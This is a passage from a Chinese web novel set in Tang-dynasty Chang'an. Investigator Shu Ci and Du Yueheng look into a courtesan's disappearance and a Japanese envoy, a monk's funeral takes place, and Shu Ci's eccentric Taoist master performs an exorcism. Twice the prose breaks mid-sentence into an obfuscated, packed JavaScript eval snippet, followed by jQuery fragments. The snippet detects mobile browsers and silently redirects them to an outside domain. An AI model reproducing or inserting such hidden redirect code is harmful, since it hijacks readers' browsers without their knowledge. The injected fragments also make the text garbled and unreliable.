舒慈照例赔着笑敷衍了几句退出去,心中仍是愁云密布,一团乱麻。 可惜,一波未平,一波又起。 她回了缉妖司,又见杜月恒与玉莲呆坐在门口。 这杜月恒舒慈已经见得熟悉了,甚至不觉有异,只是玉莲来得稀奇。 玉莲见她回来了,一跃而起,便是一句:“舒姑娘,不好了!——柳容烟她失踪了!” “什么?!” 玉莲点点头,忧心忡忡。 “什么时候的事?” “四月初八,午时过后,拂花楼再也没有人见过她了,现在楼里面都乱成一锅粥了。” 舒慈这才想起,那日大理寺的将胡阿烈三人带走,又按唐律移交给了万年县县衙,不知胡阿烈他们放出来没有? “玉莲姑娘,你别急,柳容烟失踪一事你们报官没有?” “报是报官了,”玉莲拿眼睛瞪杜月恒,“但万年县的说,正找着呢!她都不见人影三天了,连个说法都没有!” 舒慈明白了,玉莲定是认为杜月恒报复柳容烟。 杜月恒无奈地摊手,对舒慈说:“这玉莲姑娘,今日跑到我家门口,又是哭又是闹的!不知道的还以为……我家下人也跟她说,我自被绑架之后,除了去中书省点卯,便在家里跪祠堂,只有四月初八才得空去了天仁寺。她怎么都不信,我说,我当日同舒慈舒姑娘一起,她还是不信,非要听你亲口确认。我才带她过来了。” 然后,又挤出一个比哭还难看的笑:“舒姑娘,又耽误你当差了啊。” “……玉莲姑娘,四月初八,我确实与杜公子一同在天仁寺,况且,我相信杜公子不会报复柳老板的。” 玉莲不服气道:“我又不是空口无凭!不仅柳容烟不见了,拂花楼还有一本名册也不见了!” ——小剧场一则—— 舒慈:有人又要回家跪祠堂了。 杜月恒:很好笑吗? 19. 第十二回 晁不疑之二 “名册?”舒慈不解。 “我向胡阿烈要了牡丹姑娘客人的名册,”杜月恒倒是反应过来了,“但我看了之后,当即就还给了胡阿烈,你们这名册丢了,与我何干?” 玉莲抱着手,恼道,“拂花楼上上下下这么多客人,就你一个要过那名册!这名册丢了,当然与你有关系了!” “……”杜月恒被她这胡搅蛮缠弄得干瞪眼,朝舒慈道:“我跟她这小丫头说不清楚!” 舒慈却问:“你要那名册做什么?” “对啊,你要名册做什么!” 杜月恒急了,舒慈不帮自己,反倒帮着玉莲说话。他恨不能长出八张嘴,对舒慈辩解道:“我要那名册是为了查案!你忘了牡丹和高湛所说的,有个客人要带她回倭国?我便要了那名册,查看是不是晁不疑!” “那你查到了吗?” “对啊,那你查到了吗?” “查到了啊!”杜月恒觉得自己冤枉极了,“那胡阿烈将名册拿来,我便全部翻看了一遍,每个月,晁不疑都要见牡丹两三回——要不是回家天天跪祠堂,又遇上觉顺大师圆寂,今日不提,我差点都把晁不疑这事忘了!” 事情和晁不疑扯上关系,舒慈便觉得心生警觉,又问玉莲:“你又是怎么发现这名册不见了的?” “用钥匙将那装名册的匣子一打开,便看见那本名册不见了啊!” 玉莲这话前言不搭后语,舒慈又问了好几次,才从头到尾理清楚这事情的经纬—— 那日胡阿烈被押送县衙,高大人出面作保,三人只消蹲三个月的大牢。四月初八上午,柳容烟去大牢探望了胡阿烈后,第二日便不见踪影。拂花楼的下人便立即去牢里通报了胡阿烈。胡阿烈一听,怀疑是杜月恒报复,又想起他前日要过这名册,就把匣子的钥匙给那下人,让他回来确认名册是否还在。 “那匣子里可是只有这一本名册?”舒慈问。 “不,那匣子里的名册,按姑娘们的名字分好,记着各个姑娘各自的客人。”玉莲一边答话,一边瞟着杜月恒,“只有牡丹那一册不见了。” 杜月恒着急:“那匣子有钥匙吗?有多少把?” “有啊,一共两把钥匙。柳老板那里一把,胡阿烈那里一把。” “那你们开那匣子的时候,那匣子是锁着的,还是开着的?” “锁着的啊。”玉莲不明所以。 舒慈和杜月恒一拍脑袋,异口同声道,“糟了!” “舒姑娘,什么糟了啊?”玉莲茫然问道。 杜月恒撇嘴,摊了摊手,意思是,你看,我说和她说不清楚吧。 舒慈当没看到,耐心与玉莲解释道:“那匣子的钥匙只有两把,一把在胡阿烈身上,他把钥匙给了拂花楼的下人,你们才能把匣子打开。你们开的时候,匣子上锁,名册又不见了,那拿名册的人只能是柳容烟。” 玉莲恍然大悟,又问:“那柳容烟为什么会拿名册呢?” 杜月恒道:“你知不知道,柳容烟还欠着我一千二百两?我猜,是她那日早上见了胡阿烈,胡阿烈告诉她我在查名册一事,她又知道我在查晁不疑。估计,她以为晁不疑是得罪了我,便拿了那名册去敲诈晁不疑的钱财。” 玉莲听得云里雾里,慌道:“那现在怎么办?我去报官抓那个什么晁的吗?” “玉莲姑娘,你先别着急。目前这只是猜测,现下我们手中还没有证据,再加上遗失的那本名册上多是长安城贵胄,恐怕官府多有忌惮。你先将此事告诉胡阿烈,柳容烟失踪一事与杜公子绝无关系,再请问他是否还能调动万年县的不良人去寻柳容烟。” 舒慈又与杜月恒对视一眼,点了点头,“至于官府那边,我与杜公子今日先去调查一番,若有证据,便立刻找你。” “那晁不疑是倭国来的遣唐使,平日就住在鸿胪寺安排的四方馆。”杜月恒自言自语道,“若真是晁不疑将人劫走的,他能将人带到哪里去呢?” 舒慈突然茅塞顿开,与杜月恒又一齐说道:“虫子庙!” *** 舒慈与杜月恒商量好二人分头行动,她立刻叫来三宝和敖瑞,便往善和坊的虫子庙赶。 已过未时,那虫子庙大门紧闭,上次在门口所见的“开”字型的黑色木框也不知什么时候被拆走了。 舒慈心道不好,将耳朵贴到大门上,听不到里面有丝毫动静,便打了个手势,三宝一拍翅膀飞了进去。 不一会,大门打开,是三宝化成了人形,将闩上的大门从里面打开。 “进来把,一个人也没有。” 舒慈一时拿不准,是这些倭国人集会结束暂时离开,还是将这地方舍弃了。便轻手轻脚地进来,转身将门闩好。 这房子规模不大,只有正中一间前房和东西两座厢房。 这虫子庙诡异,还是小心为上,舒慈和敖瑞交换了个眼色,一人一妖便一左一右去查看左右两边的厢房。 她侧着身子推开门,灰尘四起,一看便是久无人用,自然是没有柳容烟的踪迹。回头看敖瑞,他比出大拇指,另一边也是什么也没有。 一人两妖又到前房门口,舒慈小心翼翼地推开门,“吱呀”一声,只见那正厅里整齐地铺满了竹席,放着一张精巧的茶桌。家具均没怎么堆积灰尘,想必平时是那些倭国人用以聚会。 三宝在房间里巡视一圈,虽然没有找到可疑人物,但又有新的发现,侧面的墙壁凹进去一个长方形的空间,墙上挂着一张字画。 三宝不识字,便叫舒慈过去。 那字画写的是草书,但写法奇怪,舒慈辨认了好一会,才念到:“九龙长生”。 四个汉字她都认识,但拼在一起却不解其意,或许杜月恒在场能有个说法。 舒慈将这四个字记下,又问敖瑞:“闻得出来,有柳容烟的味道吗?” 敖瑞鼻子左右动了动,努力吸了吸:“这地方气味很杂,估计之前来过很多人,辨认不出有柳容烟。又是淡淡的,估计一两天之内没什么人来过了。” 难道这些人真的将这虫子庙舍弃不用了? 为了确认,舒慈走回庭院里,那雕刻精美的神龛还在原处。 她伸手便将其打开—— 里面空无一物,那木雕的虫子不见了。 *** ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804818|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 四方馆隶属中书省,杜月恒倒是熟悉。 他打听了一会,便很容易找到了晁不疑的房间——毕竟,晁不疑顺利入朝为官,在各国使者之中已成了一段佳话。 杜月恒敲了敲他的房门。 晁不疑很快出来应门,“杜二公子,是你啊。” 他面上没有一丝惊讶,反倒像是意料之中,从容问道:“杜二公子今日是来找我的吗?是有什么事吗?” 借口早在来的路上便编好了,杜月恒装模作样地双手合十道:“我听高湛说,晁先生佛法精湛。今日来,便是有一事想与先生请教。” 晁不疑似乎没有怀疑,大方地打开门,侧身让杜月恒入内。 晁不疑邀他坐下。杜月恒一眼就瞟见桌面正摊开一本书,翻着的一页是《淮南衡山列传》,写满了密密麻麻的批注,他认出那是倭国的文字。 晁不疑伸手将书合上,放到一边,说道:“杜二公子客气了,我只是对佛法略有研究,在下来到大唐,正是想与杜二公子这样杰出的人才切磋,琢磨我的技艺。” 他唐语极好,听不出口音,自谦之辞几乎与唐人一模一样。 杜月恒局促地笑了两声,便胡编乱造道:“晁先生,高湛与我关系甚好,此前常一起参悟公案,钻研佛法。可近日,他却好像入了魔,我去见他时,他一直念叨着临济法师那句‘逢佛杀佛,逢祖杀祖,逢罗汉杀罗汉,逢父母杀父母,逢亲眷杀亲眷,始得解脱’,我思来想去,不知道该做何解,还想请教晁先生,有何高见?” 说完这话,他便不动声色地环顾四周。 鸿胪寺给遣唐使安排的房间不大,一眼便可尽收眼底。 房间里除了桌椅,便只有一张床榻、一个放置水盆的架子、一面镜子,满足日常生活所需。只有一张书架,已经堆满了书。放不下的书籍便被晁不疑堆放在地上。 这狭小的空间中,自然再藏不下一个柳容烟了。 晁不疑听了他的话,抚着胡须,神情镇定道:“这话的意思便是放下我执,明心见性,即可成佛。” “可我百思不得其解,又去查了那公案原文,最后还有两句,‘不与物拘,透脱自在’。有这两句和省去这两句,这公案又该作何而解呢?” 杜月恒这话说得缓慢,语气温和有利,眼神中却是步步紧逼。 晁不疑目光不躲闪,亦是彬彬有礼道:“我想,高公子只是话堕也。” ——有一僧人曾将一秀才的原话请教于云门文偃禅师,云门文偃禅师不答,只说这僧人“话堕也”。 这又是一段有名的佛家公案,云门文偃禅师责怪那僧人拾人牙慧,便曰话堕。 杜月恒嗤之以鼻,“晁先生,高湛他或许鹦鹉学舌,确实不如你巧舌如簧,轻巧几个字便可让人陷入万劫不复。 “晁先生,今日虽然我的佛法没有精进。却叫我明白大唐另一句话——孔子曰,巧言令色,鲜矣仁。” 晁不疑不急也不气,只是拱拱手,“抱歉,晁不疑处没有杜二公子想要的东西,今日的切磋便到此处吧。” 说完,便做了个“请”的手势,闭门送客。 20. 第十三回 丧仪 二人没有找到柳容烟,虽是怀疑晁不疑,却没有证据。 舒慈向玉莲说明了情况,请她转告胡阿烈,能否让他调查晁不疑——这案子在县衙手中,舒慈能力有限,现在只能寄希望于胡阿烈的不良人,在这偌大的长安城中找到线索。 第二日,正是觉顺大师圆寂第七日,万年县县衙终于将卷宗移交至大理寺。 李元信看了卷宗,两眼一黑,又把舒慈叫到跟前,连叹三声,“不好办哇”。 舒慈已习惯长官这口癖,接话道:“李大人,这又是怎么了?” 李元信一边叹气摇头,一边将手中的卷宗递给舒慈。 那卷宗里记着仵作尸检的结论:遗体面色并无异样,后颈有针眼一处,呈乌青色斑痕,并红色斑点。尸斑呈现淡红色,双肺又见淤血,或为中毒迹象,毒物不明。 这案子里无妖无怪,理应与缉妖司无关。眼看手上又要多出一案,舒慈看完,又递了回去,谄笑道:“李大人,这卷宗我看没有什么妖异怪事,可是对缉妖司有什么别的指示?” 李元信瞪她,又绕起弯子来:“佛诞节那日,你在现场可见到了嘉阳公主?” 舒慈应付地笑了两声,知道这话题敏感,打起太极道:“属下那日只见到一座七彩肩舆,华丽无比,倒是没看清里面坐着什么人——属下有眼无珠,或许那正是嘉阳公主也不一定……” “行了行了,”李元信挥挥手,打断她的敷衍之词,压低声音道,“那正是嘉阳公主的肩舆。” “属下听说,嘉阳公主笃信佛教,曾经还在天仁寺修行,出席佛诞节也是情理之中……” 李元信啧了一声打断她,急道:“你知道你还说!” 他又道:“觉顺大师圆寂,恰逢佛诞节,嘉阳公主又在场。民间不知怎么的,传着传着就成了觉顺大师肉身成佛,嘉阳公主便是下凡的观音菩萨,专程迎肉身佛下凡的……” 李元信说着说着,声音又低了几分,几乎是用气声道:“圣人如今崇道,长安城怎么能出了个肉身佛?……如今太子正安排了神策军暗地里在长安城查,到底是谁传出的成佛的谣言。万年县县衙又将这案子推给大理寺,你说,何以处之?” 舒慈心中算到,虽然百姓传的是觉顺大师肉身成佛,但这仵作验的结果却是觉顺大师是中毒而亡,多半是遭人谋杀,大理寺这一查,怕是朝堂之上哪边都要得罪。可她不明白,这事与她又有什么关系? 她干笑两声,老实回答道:“李大人,要让我说,大理寺主持的正是大唐的公正,自然是要实事求是……” 李元信将她绕进了自己的话里,长叹一口气:“舒慈啊舒慈,所谓人在官场,身不由己,你不犯人,却防不住人要犯你——你自己看看吧……” 他又掏出一张装帧精美的帖子——明日天仁寺举行觉顺大师丧仪,邀舒慈参加。 *** 觉顺大师的丧仪遵佛家仪轨,行火化仪式,在长安城郊举行。 天仁寺的仪式场地宽敞,不知是否因近日风声紧张,由几名僧人围住把守,不接受普通信众参观,必须凭名帖入内。 此处环境清幽,有松柏环绕。场地正中木柴已经堆放成塔,觉顺的棺椁被放置其上。四周围绕素白玄色的棉布帷幔,绘有莲花、祥云、瑞兽纹样,又供奉莲花、兰花,皆是纯白无暇。 慧空换上一身白色僧袍,批玄色银丝莲花袈裟,立于柴堆前,手上轻轻数着念珠,神情肃穆悲伤。 他身后整齐排列天仁寺的僧侣,后排站满了凭吊的人,俱是身穿黑白两色。 人群最前面,又有几人三三两两地凑在一起,低声交谈。 舒慈站在队伍最后,着一身长袖白色衫子,外套一件玄色翻领袍,颜色越是素雅,越是衬得她整个人英姿凌厉。 只见那前排人群的最中心,一个中年男子着素白绸缎长袍,气度不凡,神情克制,却难掩哀伤——正是杜谌义。 舒慈惊讶之余,看见他旁边自然还站着一个杜月恒。 杜月恒也瞧见了她,冲她眨了眨眼睛,低声和他父亲说了句话,然后踱步到舒慈跟前。 舒慈正要开口询问,又见从人群中来了佛诞节时见过的两名女官——她们朱红的头纱、外袍也换成了白色丝绸。 她们与慧空和尚低语几句,慧空和尚点了点头。 舒慈回头张望,那场地外围,不知什么时候已经停好了一座豪华的肩舆,只是那之前七彩华美的珠帘和帷幔换成了绣满莲花与八吉祥图案白底银丝的丝绸锦缎。 或许因为出了长安城,那肩舆四周还列着一队身着铠甲,手执兵器的金吾卫,将里面的贵人与周围隔开。 范长风正站在最外,看见舒慈,与她微微点了点头。 既然这肩舆一到,慧空便不再等待,向众人鞠了一躬,场地内霎那间没有人再说话,只听到远处白色的鸟群振翅而飞之声。 慧空开口,前排的僧人便齐声念诵起经文,那声音又沉又重,回响在场地中。 经文毕,慧空又鞠一躬,接过旁边的小和尚递来火把,向众人提高音量道:“仪式开始。” 就在这时,却听得场外一阵骚动—— “你干嘛!今日大师丧仪,你这个道士进来捣什么乱!” “你怎么进来的?没有名帖,谁都不许进来!” “名帖?你管我要名帖?” 那声音不大,却是气沉丹田而出,浑厚深沉似空山回响,场地虽空旷,但每个人都听得清清楚楚。 “你们自己问问躺在那的觉顺我是谁!怕他答了你们得吓一跳——你们几个小辈恐怕得叫我一声师爷!” 把守的小和尚听了这话,气急败坏,冲上去便照着他门面一拳。 却见那人轻轻一抬手,摊开五指接住这一拳,还未出手,小和尚就被弹飞在地。 他身形瘦长,身着青衫,腰间系一只葫芦,背一把桃木剑。双目细长上挑,鼻梁挺直,看 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僵持之间,那肩舆的白色门帘轻轻掀开一条缝,又伸出一只纤纤玉手。 女官立刻俯身,听了里面的人吩咐,便快步依次跑到范长风、慧空、那道士耳边说了一句话。 不知她说了什么,金吾卫便退下了。 慧空黑着一张脸,耳根通红,不情愿地哼了一声,侧身让开路。 道士也不客气地哼了一声,一甩长袍下摆,便大步走到觉顺的棺椁前。 他取下腰间的葫芦,将酒洒在了柴堆上,一时之间,场地内酒香四溢。 不知何时,四周复又安静如初,只听他举起酒葫芦道:“白乐天有诗云,君埋泉下泥销骨,我寄人间雪满头……觉顺啊,你知不知道这诗有多凄凉……” 说罢,他一仰头,又拿起葫芦饮了两大口,接着,将里面的酒尽数洒在柴堆上,高声道,“我来送你!你走吧!” 又不知从何处摸出一张黄纸符,他嘴唇一动,手捏了一个诀,念念有词,那符纸便“噌”的一声点着了火苗。 不等慧空反应,他手一扬,火苗落在柴堆上,须臾间,那干木柴堆成的佛塔燃起了熊熊大火,渐渐将觉顺的棺椁吞噬。 众人俱是面面相觑,震惊不已。 慧空慌张之中,领着众僧人围起火堆,双手合十,念起了《火化真言》。 那道士也退后,浓烟升起,天空似有祥云环绕。 火光映照在他脸上,映出了他庄重的神情,那样子既是无限悲伤,又似乎有一丝不易察觉的空虚。 杜月恒看得目瞪口呆,见那道士功夫了得,会捏决起火,行事又是潇洒不羁,颇有侠士之风,不禁对舒慈道:“这道士好生厉害!” 他听舒慈没有反应,一转头,却见舒慈那张一向精明冷静的脸,映在火光中有一丝呆傻。 只听她不可置信,轻声道:“……师父?!” 21. 第十四回 烟霞客 “他是你师父?”杜月恒诧异道,“舒姑娘,你也会这捻诀作法之术?” 舒慈不回答,一双眼睛全盯住那道士——她这师父最是不按常理出牌,唯恐他又要惹出什么乱子。 幸好,不等大火烧尽,众人还在默哀之中,那道士便转身离人群而去。 舒慈立马紧随其后,杜月恒便也快步跟上。 只见那道士健步如飞,看上去身姿稳健,似在闲庭信步,却是比常人跑动起来还快。 舒慈运气加速,却还是追他不上,只能大步跑了起来。 不一会,二人就将杜月恒抛在身后。 舒慈一边追,一边喊道:“师父!师父!你等等我!!” 那道士只当没听见似的,好像施展凌波微步,往长安城相反的方向而去。 舒慈跑得气喘吁吁,终于恼怒地大吼一声:“烟霞客!!你给我站住!我要跑死啦!!” 烟霞客这才刹住脚,转过头,装作刚瞧见她的样子:“哎呀,舒慈,你怎么在这?看见我了,怎么也不叫为师一声?” 舒慈气得晕头转向,这才放慢脚步,努力调整呼吸,勉强从牙缝里挤出话来:“师父您又说笑了。方才在觉顺大师的丧仪上,您没瞧见我,可正好让徒儿瞧见您了。” “哎哟,我还想问你呢,”烟霞客夸张地拍了一下脑袋,“你怎么也认识觉顺这秃驴?” 万千骂人之辞涌上舒慈心头,最后只化作两声干笑:“哈哈,这就说来话长了……倒是师父您,您不是在蜀中闭关修炼吗?怎的来了长安城,也不跟弟子说一声。” “你这刁徒!”烟霞客哼了一声,面露不满,“为师的没有过问你,你倒过问起为师的了!天下哪有这样的道理!” 舒慈只觉得气血上涌,眼冒金星。 她这师父为老不尊,倚老卖老,装疯卖傻的她已经习惯了。可烟霞客又是个精通道家仙法,见多识广的,她正愁着手里几件案子要向他请教,便低眉顺目,好言好语道: “师父您贵人事多,想不起我这刁徒多正常!但您来了长安城,徒儿自当好生招待,与您多请教请教才是……” “你那大理寺的俸禄能有几个钱?”烟霞客不耐烦地挥手,“我忙着呢,这已经耽误了几日的修行。你有事就说,有屁就赶紧放!” 舒慈可真想抄起他腰间的葫芦,朝他头上来个葫芦开瓢啊。 这时,却又听一阵小跑声,那杜月恒上气不接下气地跟过来:“舒……舒姑娘……师……师父……” 杜月恒调息抱拳,行礼道:“师父,晚辈杜月恒。方才在丧仪上见您为了觉顺大师仗义执言,颇有侠士之风,在下好生佩服!不知今日是否有幸,能与师父小叙一二?” 烟霞客上下打量他几眼,思考了一会说:“你是杜谌义的什么人?” 杜月恒惊喜:“师父,您居然认识我爹?” 烟霞客听了一愣,一摸胡子,哈哈大笑道:“好玩!好玩!没想到杜谌义这个老古板能有你这么个懂事儿子!” “师父您可真是谬赞了!”杜月恒被夸得不好意思。 烟霞客眉开眼笑,双手一拍:“好!好!好!今日可真是我与你杜家的缘分!那我便给你这个薄面,与你好生叙上一叙!” *** 杜月恒寻了一处高档酒楼,又要了一间僻静的包房,三人落座。 杜月恒见烟霞客爱酒,便专程点了一壶葡萄酒,一壶清酒,一壶三勒浆。 烟霞客被逗得心花怒放:“好好好,你比我这刁徒机灵多了!” 舒慈不理他们,既是杜月恒请客,她便专往贵了点菜,上上来一桌金齑玉脍、鳜鱼羹、金乳酥、通花软牛肠……她只顾埋头苦吃,无暇顾忌烟霞客又在编排她什么。 烟霞客喝上好酒,吃上好菜,与二人推杯换盏,好不愉快满足,这才想起舒慈今日找他有事。 他清了清嗓子,又摆起架子道:“舒慈,你今日找为师所为何事啊?” 舒慈一边喝酒,一边脑子里过起了最近的一桩桩一件件,便先挑近的说:“师父,觉顺大师好像是遭人下毒而死。” 没想到烟霞客不甚在意:“人固有一死,觉顺这老小子不管是病死的,被人谋杀的,还是什么涅槃了,皆是他的命数,与我何干啊?” 舒慈喝了酒,便大着胆子翻了个白眼,学烟霞客道:“您今天不是说什么……白乐天有诗云……君埋泉下泥销骨……什么什么雪满头……” 烟霞客气急败坏,拿桃木剑柄敲她的头:“荒唐!荒唐!……我只关心他这个人是死的还是活的,至于他是怎么死的,怎么活的,与我何干?他若落魄,与我无关,若成佛了,更与无关——我在乎的只有他这个人是不是我的朋友,是不是我的知己!” 杜月恒听得满面红光,深以为然也,比出大拇指道:“烟霞真人,豁达!豁达啊!” 舒慈又问:“仵作验尸,说是觉顺大师是被人用毒针刺了一下,你知道什么毒能让伤口乌青,周边犯红疹,尸斑还是淡红色?” 烟霞客不耐烦道:“你问我?谁验的尸,你问谁去!” 舒慈不恼反问:“师父你自诩见多识广,那你知道‘九龙长生’是什么意思吗?” “没听说过!” “师父,那你见过这么大的虫吗?”杜月恒也来劲了,比划着问道,“像蜈蚣似的,有百足!” “没听说过!”烟霞客听得云里雾里,骂骂咧咧道:“你们俩吃酒吃醉了罢!怎的说话我一个字也听不懂?” 舒慈双手乱挥,叫烟霞客安静下来,神秘地压低声音道:“那你知道祖师爷有本书叫作《钟馗无量度人咒魔经》吗?这世间不会还有烟霞客不知道的秘术典籍吧!” 烟霞客一反常态,听了不生气,抱起手来,闭上眼睛沉吟了一会:“到底怎么回事,你们从头道来!” 二人便你一言我一语,先与他讲起那青龙寺舍利经书被蟾蜍精偷盗一事。 听那舍利经书已经找到,他又露出百无聊赖的神色:“既然找到又交给金吾卫了,你还问什么问!真是无聊透顶!” 见他油盐不进,二人又道出花魁惨死,高湛疯癫,柳容烟失踪,晁不疑作法一系列之事。 烟霞客这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14812451|157775||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 才来了兴趣,尤其是那晁不疑,叫他们将其在高府作法的细节一一道来。 听完这故事,他一边闭着眼睛,一边摇头晃脑,咂摸了好一会才睁开眼道:“有趣!有趣!” “我看这倭国人用的不知是什么倭国异术!”他两眼放光,“我倒要去会会他,与他好生斗斗法!” “……”舒慈酒醒了一半,“斗法?怎么斗?” 烟霞客宣布道:“我要去看看那高府埋的究竟是什么东西。” 这下舒慈彻底醒了:“怎么去?师父,私闯民宅可是犯唐律的!更别说那是中书令家的宅子……” 烟霞客又抄起桃木剑,舒慈见势往后一躲。 “这个大理寺的官差叫你给当的,这个也怕,那个也怕!”烟霞客气得直摇头,又将酒杯一举,“关键时刻,还得靠为师啊!” “明日辰时,高府门口,为师让你见识见识什么叫仙术正道!” 他又补充道,“只舒慈一人来!杜月恒就不必了。” 杜月恒急了:“师父,我怎么不能来?” “嘶哈——”烟霞客将杯中酒一饮而尽,“道家仙法,不得与外人传,多问无益,自己去悟吧!” *** 第二日辰时,舒慈准时出现在高府门前。 虽说舒慈偷偷来过,但与上次相比,待遇可谓今非昔比。 那看门的一听她是烟霞客的徒弟,立刻笑脸相迎,将她奉为上宾,带到了客堂。 烟霞客正与高大人侃侃而谈,高谈阔论,一派文人雅客之态。 那样子舒慈看不习惯,心中翻了个白眼。 烟霞客也没惯着她,向高大人介绍了她两句,便挥了挥手,让她在门口候着。 舒慈站在门边,一只耳朵却无限地贴近那客堂之内——烟霞客一向神龙见首不见尾,行动目的全靠舒慈猜测。但她搞不明白,烟霞客明明去了蜀中修炼,这人一向是修炼为大的,怎的昨日却突然出现在长安城,今日又成了高家的座上宾?他这葫芦里到底卖的什么药? 只听二人谈话之间时不时飘过来“还请您在圣人面前美言几句”、“多谢烟霞真人今日前来”、“阴阳仪式显灵”之类的词句,舒慈不觉联想起前几日李元信的话,一时之间,如遭雷击—— 难道圣人请来请求大唐国祚连绵的道家大师就是烟霞客?! 舒慈恨不得半个身子伸进客堂内,好听清楚到底怎么回事。 可惜,堂内二人交谈完毕,便往庭院走。 “烟霞真人,此处便是那日晁不疑作法显灵之处,只是我不记得那东西他埋在哪里了。”高大人道。 烟霞客捋着胡子,胸有成竹地点点头:“无妨,无妨。” 他又使唤舒慈道:“去,拿把铁锹。” 烟霞客在庭院中踱了两圈步,掐指一算,嘴里念念有词,忽的停下来。 他指着脚下,又命令舒慈道:“挖!” 舒慈不敢怠慢,狠命地挖了三尺,就感觉铁锹碰着了一处东西。 她蹲下身子,轻轻将土翻开。 ——正是那一堆森森白骨。 22. 第十五回 斗法 那日舒慈离得远,未能仔细瞧这巨虫化作的白骨。今日凑近了,却觉得说不出来的古怪—— 那骨头堆里面,最显眼的是一个头骨,下面堆的是长条的腿骨、肋骨,乍一看煞是骇人。 但稍加观察,就会发现,这一堆骨头该大的小,该小的大,数量又太少了,绝对不可能拼凑出一个完整的人——除非这人左右不一,头大身小,天生畸形。 烟霞客一手背在身后,一手捋着胡子,打量着这堆白骨缓缓踱步,喃喃自语道:“有趣,有趣……” 舒慈又多挖了几寸,想将这白骨从土里分离出来,却发现这堆骨头像是一个整体似的粘在一起,牢牢地陷在土里。 倏地,舒慈脑海中闪过一个念头。 她不禁震惊地抬头,忍不住与她师父对视。 烟霞客捕捉到她恍然大悟的表情,笑道:“还好还好,我这呆徒儿,还不算太笨!” 高大人在一旁一头雾水:“烟霞真人,这到底是怎么回事啊?” 烟霞客哈哈大笑,故意卖关子道:“不急,不急。你且把你家公子也叫过来,我今日好事做到底,把他身上的咒也解了罢。” 于是,几个下人又将高湛请过来。 只见他还是一脸痴傻,双眼无光,和上次相比,更加瘦得不成人形,似无骨之人,站立都不稳,得靠几个下人搀扶着,坐到院内的一张椅子上。 他一双呆滞的双眼在庭院里逡巡一圈,落在舒慈脸上,立刻从椅子上滑跪到舒慈跟前,哭天抢地道: “官大人啊!你是来抓我的吧!!你怎么才来抓我啊……” 舒慈又尴尬又恼火,生怕暴露了自己曾来过高府,这颠子怎么就记着她不放了?又不能一脚将他踹翻,只能扯出个假笑: “高公子,这是病症发作了,认错人了吧?” 舒慈又挤着嗓子哄骗道:“我是烟霞真人的徒弟,怎么是来抓你的呢?” 她想将他从地上扯起来,可是高湛不动,用了九牛二虎之力死死跪在地上,继续絮絮念叨:“你抓我吧……你抓我吧……” 烟霞客不觉有异,只是不耐烦了,抓起高湛的后脖领,轻巧一提,将他提溜到椅子上:“高公子,你老实呆一会,贫道自会将你身上的‘小鬼’祛除!” 说罢,将背在身后的桃木剑扔给舒慈,取下腰间的酒葫芦痛饮两口。 他含了一大口酒,“噗——”的一声将酒喷在高湛脸上。 不知是因为被滋了一身酒受了惊吓,还是这喷酒也是烟霞客的法术,高湛竟真的安静下来,蜷缩在椅子上,瑟瑟发抖。 烟霞客又摸出几张黄纸符,借来笔墨,手腕一挑,笔尖游龙走蛇,龙飞凤舞,行云流水地画出五张符咒。 舒慈认出其中四张画白虎、青龙、朱雀、玄武,东西南北四方位为一阵,是为现形阵。 另一张舒慈不认识,只看得懂画了一张阴阳八卦图案。却见烟霞客咬破食指,在那八卦上一横一纵画了两道血痕。 烟霞客先将现形阵中的两张递给舒慈,自己左右手各执一张,向徒弟使了个眼色,对暗号似的点了点头。 二人这便算做好了准备。 烟霞客两眼一闭,开始嗡声念道: “天地玄黄,宇宙洪荒……” 师徒二人一边随着咒语绕着白骨踱步,一边一齐变换手印,将符咒上下翻飞,“唰唰”作响。 “……紫气东来,三清显圣。三光洞照,诸邪避退。妖邪魍魉,速速现形,急急如律令!” 正念毕“令”字,二人站定方位,同时出手,将符咒“啪”地一声贴在白骨四周对应的四个方位。 四道符咒两两相连,发出微弱的白光,成一个正方形,中间刺眼的光一闪,众人眼前霎时一花。 待再看清,那符咒之中的白骨竟又变成了那只巨虫! “啊!!” 高湛见了此景,尖叫着从椅子上摔了下来,惊呼道:“虫!牡丹!……我杀人了……我杀人了!” 烟霞客听了,不满地皱眉,摇头如拨浪鼓:“什么牡丹,我还芍药呢!人就是人,虫子就是虫子!孺子不可教也!” 然后拿起酒葫芦,一仰头,含了口酒,“噗……”地一声喷在带血的八卦符咒上。 这招式舒慈也没见识过,只见烟霞客将那打湿的符咒拍在高湛脑门上,又开始念念有词: “乾坤定局,八卦显灵。八卦相生相克,妖邪难遁其形。破妄归真,速速现形!急急如律令!” 念完,说时迟那时快,又提起一拳猛地朝高湛腹部打去。 这一拳虽收了力道,但仍打出了一声闷响。 高湛应声倒地,捂着肚子,痛得蜷成金钩虾仁状。 众人吓得一拥而上,生怕高公子的小身板被打残废了。 烟霞客伸手一拦,不让人靠近,神情严肃紧张:“仪式还未结束,休得靠前!” 果然,只见高湛“哎哟哎哟”地痛得在地上打了两滚,又将自己撑起来,朝地上吐了两口白沫。 接着,他“哇——”地一声呕出了一只虫子—— 那虫子像黑色的大蚯蚓,裹着粘液,在地上挣扎地蠕动着。 “愣着干什么!斩啊!” 烟霞客啧了一声,冲舒慈吼道。 舒慈看得惊呆了,这才反应过来,提起师父的桃木剑朝那蚯蚓劈去。 